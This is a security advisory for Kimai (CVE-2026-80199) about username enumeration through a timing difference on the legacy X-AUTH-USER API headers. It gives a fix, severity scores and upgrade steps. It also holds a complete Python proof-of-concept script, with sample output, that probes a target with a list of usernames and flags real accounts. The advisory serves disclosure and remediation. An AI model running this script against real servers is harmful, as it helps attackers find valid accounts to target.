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GHSA-jrc6-fmhw-fpq2 CVE-2026-80199

Kimai: Username enumeration via timing on X-AUTH-USER

Medium Packagist
Severity
6.3 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 23.71% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-208 Observable Timing Discrepancy
Fix
2.54.0
Upgrade kimai/kimai to this version or later

Description

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
user1@example.com               64.2ms   +26.5ms  REAL
user2@example.com               72.4ms   +34.7ms  REAL
user3@example.com               70.0ms   +32.3ms  REAL
tester.nonexistent@example.com  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

Fix

In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
    $this->passwordHasherFactory
        ->getPasswordHasher(User::class)
        ->verify(self::DUMMY_HASH, $credentials['password']);
    throw $e;
}

The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.

Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out. 

Affected versions

Packagist

PackageVulnerableFixed in
kimai/kimai
< 2.54.0
2.54.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

kimai/kimai Packagist → 2.54.0

composer
composer require kimai/kimai:^2.54.0

Severity breakdown

CVSS 4.0 6.3

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
High
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 3.7

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Weakness

CWE-208: Observable Timing Discrepancy

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw46-qg69-vg6h
Kimai: ExportTemplate CRUD Missing Authorization Check Allows Unauthorized TEAMLEAD Access
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GHSA-v8hx-4vx8-wc96
Kimai: Pre-2FA KIMAI_SESSION cookie grants full authenticated REST API access, bypassing TOTP
High Also affects kimai/kimai
GHSA-2xgg-2x8h-8xw4
Kimai: Improper Authorization in Project, Customer, and Activity Rate Edit Endpoints Allows Cross-Scope Rate Manipulation
Medium Also affects kimai/kimai
GHSA-xv4r-4885-gwpg
Kimai has Improper Authorization in Team Member and Team Activity Assignment APIs Which Allows Expansion of Team Scope Beyond Authorized Visibility
Medium Also affects kimai/kimai
GHSA-jr9p-4h4j-6c58
Kimai: Default APP_SECRET in Docker Image Enables Cookie Forgery and Account Takeover
Critical Also affects kimai/kimai
GHSA-r8vr-m544-qh4h
Kimai: Login CSRF in the Timesheet Stop and Restart API Endpoints Allows Unauthorized State Changes
Medium Also affects kimai/kimai
GHSA-c6w6-57jj-62vh
Improper Authorization in Kimai Timesheet Restart and Duplicate Allows New Timesheets After Project Access Revocation
Medium Also affects kimai/kimai
GHSA-3q6q-26vg-v97x
Kimai: Improper Authorization Through Activity Creation with Preset Project Allows Creation Under Unauthorized Projects
Medium Also affects kimai/kimai
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